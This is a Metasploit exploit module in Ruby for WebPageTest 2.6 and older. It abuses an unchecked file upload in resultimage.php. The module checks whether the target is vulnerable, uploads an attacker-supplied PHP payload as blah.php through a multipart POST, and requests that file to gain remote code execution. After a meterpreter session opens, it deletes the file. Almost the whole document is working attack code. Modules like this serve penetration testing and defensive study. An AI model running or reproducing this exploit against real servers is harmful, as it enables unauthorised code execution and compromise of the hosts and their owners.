##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info={})
		super(update_info(info,
			'Name'           => "WebPageTest Arbitrary PHP File Upload",
			'Description'    => %q{
					This module exploits a vulnerability found in WebPageTest's Upload Feature. By
				default, the resultimage.php file does not verify the user-supplied item before
				saving it to disk, and then places this item in the web directory accessable by
				remote users.  This flaw can be abused to gain remote code execution.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'dun',    #Discovery, PoC
					'sinn3r'  #Metasploit
				],
			'References'     =>
				[
					['OSVDB', '83822'],
					['EDB', '19790']
				],
			'Payload'        =>
				{
					'BadChars' => "\x00"
				},
			'DefaultOptions'  =>
				{
					'ExitFunction' => "none"
				},
			'Platform'       => ['php'],
			'Arch'           => ARCH_PHP,
			'Targets'        =>
				[
					['WebPageTest v2.6 or older', {}]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Jul 13 2012",
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('TARGETURI', [true, 'The base path to WebPageTest', '/www/'])
				], self.class)
	end


	def check
		peer = "#{rhost}:#{rport}"
		uri = normalize_uri(target_uri.path)
		uri << '/' if uri[-1,1] != '/'
		base = File.dirname("#{uri}.")

		res1 = send_request_raw({'uri'=>normalize_uri("#{base}/index.php")})
		res2 = send_request_raw({'uri'=>normalize_uri("#{base}/work/resultimage.php")})

		if res1 and res1.body =~ /WebPagetest \- Website Performance and Optimization Test/ and
			res2 and res2.code == 200
			return Exploit::CheckCode::Vulnerable
		end

		return Exploit::CheckCode::Safe
	end


	def on_new_session(cli)
		if cli.type != "meterpreter"
			print_error("No automatic cleanup for you. Please manually remove: #{@target_path}")
			return
		end
		cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")

		begin
			print_warning("Deleting: #{@target_path}")
			cli.fs.file.rm(@target_path)
			print_good("#{@target_path} removed")
		rescue
			print_error("Unable to delete: #{@target_path}")
		end
	end


	def exploit
		peer = "#{rhost}:#{rport}"
		uri = normalize_uri(target_uri.path)
		uri << '/' if uri[-1,1] != '/'
		base = File.dirname("#{uri}.")

		p = payload.encoded
		fname = "blah.php"
		data = Rex::MIME::Message.new
		data.add_part(
			"<?php #{p} ?>",                                   #Data is our payload
			'multipart/form-data',                             #Content Type
			nil,                                               #Transfer Encoding
			"form-data; name=\"file\"; filename=\"#{fname}\""  #Content Disposition
		)

		print_status("#{peer} - Uploading payload (#{p.length.to_s} bytes)...")
		res = send_request_cgi({
			'method' => 'POST',
			'uri'    => normalize_uri("#{base}/work/resultimage.php"),
			'ctype'  => "multipart/form-data; boundary=#{data.bound}",
			'data'   => data.to_s
		})

		if not res
			print_error("#{peer} - No response from host")
			return
		end

		@target_path = normalize_uri("#{base}/results/#{fname}")
		print_status("#{peer} - Requesting #{@target_path}")
		res = send_request_cgi({'uri'=>@target_path})

		handler

		if res and res.code == 404
			print_error("#{peer} - Payload failed to upload")
		end
	end
end
